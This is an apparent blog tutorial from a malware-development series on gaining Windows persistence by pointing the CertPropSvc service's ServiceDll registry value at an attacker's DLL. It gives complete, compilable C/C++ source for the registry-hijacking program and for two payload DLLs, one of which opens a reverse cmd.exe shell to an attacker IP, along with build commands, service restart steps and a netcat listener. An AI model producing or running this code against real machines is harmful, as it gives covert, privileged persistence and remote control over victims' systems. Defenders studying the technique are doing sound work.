Malware development: persistence - part 28. CertPropSvc registry hijack. Simple C/C++ example.
﷽
Hello, cybersecurity enthusiasts and white hackers!
Today I want to show you one interesting malware persistence trick that I discovered, maybe someone has already found something similar in the Windows registry for other services, but to be honest, this was new to me.
main idea
Persistence doesn’t have to be noisy. No autoruns, no schtasks, no WMI. We hijack a built-in Windows service: Certificate Propagation Service (CertPropSvc
) - and force it to load our own DLL by modifying ServiceDll value in the registry.
In other words, this is just another dll hijacking trick.
practical example
Let’s do this in practice. First of all, look at this Registry path:
HKLM\SYSTEM\CurrentControlSet\Services\CertPropSvc\Parameters
Windows trusts whatever DLL is set here. Run command:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\CertPropSvc\Parameters" /s
As you can see, interesting things is ServiceDll
:)
So we just change it to our malicious DLL and wait until the service restarts (or trigger it manually).
First of all create our “malicious” DLL meow.cpp
:
/*
* meow.cpp
* "malicious" DLL for persistence
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/09/14/malware-pers-28.html
*/
#include <windows.h>
#include <stdio.h>
extern "C" {
__declspec(dllexport) BOOL WINAPI runMe(void) {
FILE* fp = fopen("meow-hack.txt", "a+");
if (fp) {
fprintf(fp, "Meow-meow!\n");
fclose(fp);
}
return TRUE;
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
runMe();
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
As you can see, it’s something simple as usual, write Meow-meow\n
string to file.
Then we need, a minimal C program that writes our DLL path into the registry pers.c
:
/*
* pers.c
* peristence via CertPropSvc
* author @cocomelonc
* https://cocomelonc.github.io/malware/2025/09/14/malware-pers-28.html
*/
#include <windows.h>
#include <stdio.h>
int main() {
HKEY hKey;
const char* regPath = "SYSTEM\\CurrentControlSet\\Services\\CertPropSvc\\Parameters";
const char* dllPath = "C:\\Windows\\System32\\meow.dll";
// open or create the Parameters key
LONG result = RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
regPath,
0, NULL, 0,
KEY_SET_VALUE,
NULL,
&hKey,
NULL
);
if (result != ERROR_SUCCESS) {
printf("[-] failed to open registry key. error code: %ld\n", result);
return 1;
}
// set DLL path
result = RegSetValueExA(
hKey,
"ServiceDll",
0,
REG_EXPAND_SZ,
(const BYTE*)dllPath,
(DWORD)(strlen(dllPath) + 1)
);
RegCloseKey(hKey);
if (result == ERROR_SUCCESS) {
printf("[+] meow! dll path set successfully. reboot or restart CertPropSvc to trigger.\n");
} else {
printf("[-] failed to set DllPath. code: %ld\n", result);
}
return 0;
}
So logic is pretty simple.
demo
Let’s go to see this in action. First of all compile our “meow” DLL:
x86_64-w64-mingw32-gcc -shared -o meow.dll meow.cpp
Then compile our persistence script:
x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Copy our DLL to C:\Windows\System32\
:
Then run our persistence script, and finally, recheck registry path again (requires admin rights (write access to HKLM)):
.\pers.exe
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertPropSvc\Parameters" /s
As you can see, the new value is equal to our malicious dll.
If the service starts - our payload runs. As easy as that.
sc stop CertPropSvc
sc start CertPropSvc
Let’s check if our file with the Meow-meow
string has been created:
type meow-hack.txt
As you can see, everything worked as expected! =^..^=
practical example 2
What about something with more sophisticated logic? Here’s a revshell DLL using WSAConnect()
:
/*
* meow2.cpp
* "malicious" DLL for persistence: revsh
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/09/14/malware-pers-28.html
*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
extern "C" {
__declspec(dllexport) BOOL WINAPI runMe(void) {
WSADATA socketData;
SOCKET sock;
struct sockaddr_in addr;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char *attackerIP = "10.10.10.1";
short attackerPort = 4444;
// initialize socket library
WSAStartup(MAKEWORD(2, 2), &socketData);
// create socket object
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_port = htons(attackerPort);
addr.sin_addr.s_addr = inet_addr(attackerIP);
// establish connection to the remote host
WSAConnect(sock, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL);
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE) sock;
// initiate cmd.exe with redirected streams
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
return TRUE;
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
runMe();
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Just use my attacker’s machine IP address here:
demo 2
Let’s go to see second example in action. Compile our meow2.cpp
:
x86_64-w64-mingw32-g++ -shared -o meow.dll meow2.cpp -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lws2_32
Prepare netcat listener:
nc -nlvp 4444
Copy updated meow.dll
to the victim’s machine and restart service.
As you can see, everything is worked perfectly as expected here! =^..^=
The interesting thing is, after reboot and run service again, my Windows Defender turned on real-time protection. Either way, the DLL gets loaded and the payload runs!
conclusion
Persistence via Windows service DLL hijack is slick and stable. CertPropSvc is often overlooked - which makes it perfect for ops.
I hope this post spreads awareness to the blue teamers of this interesting persistence technique, and adds a weapon to the red teamers arsenal.
This is a practical case for educational purposes only.
Malware persistence - part 1. Registry run keys
source code in github
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine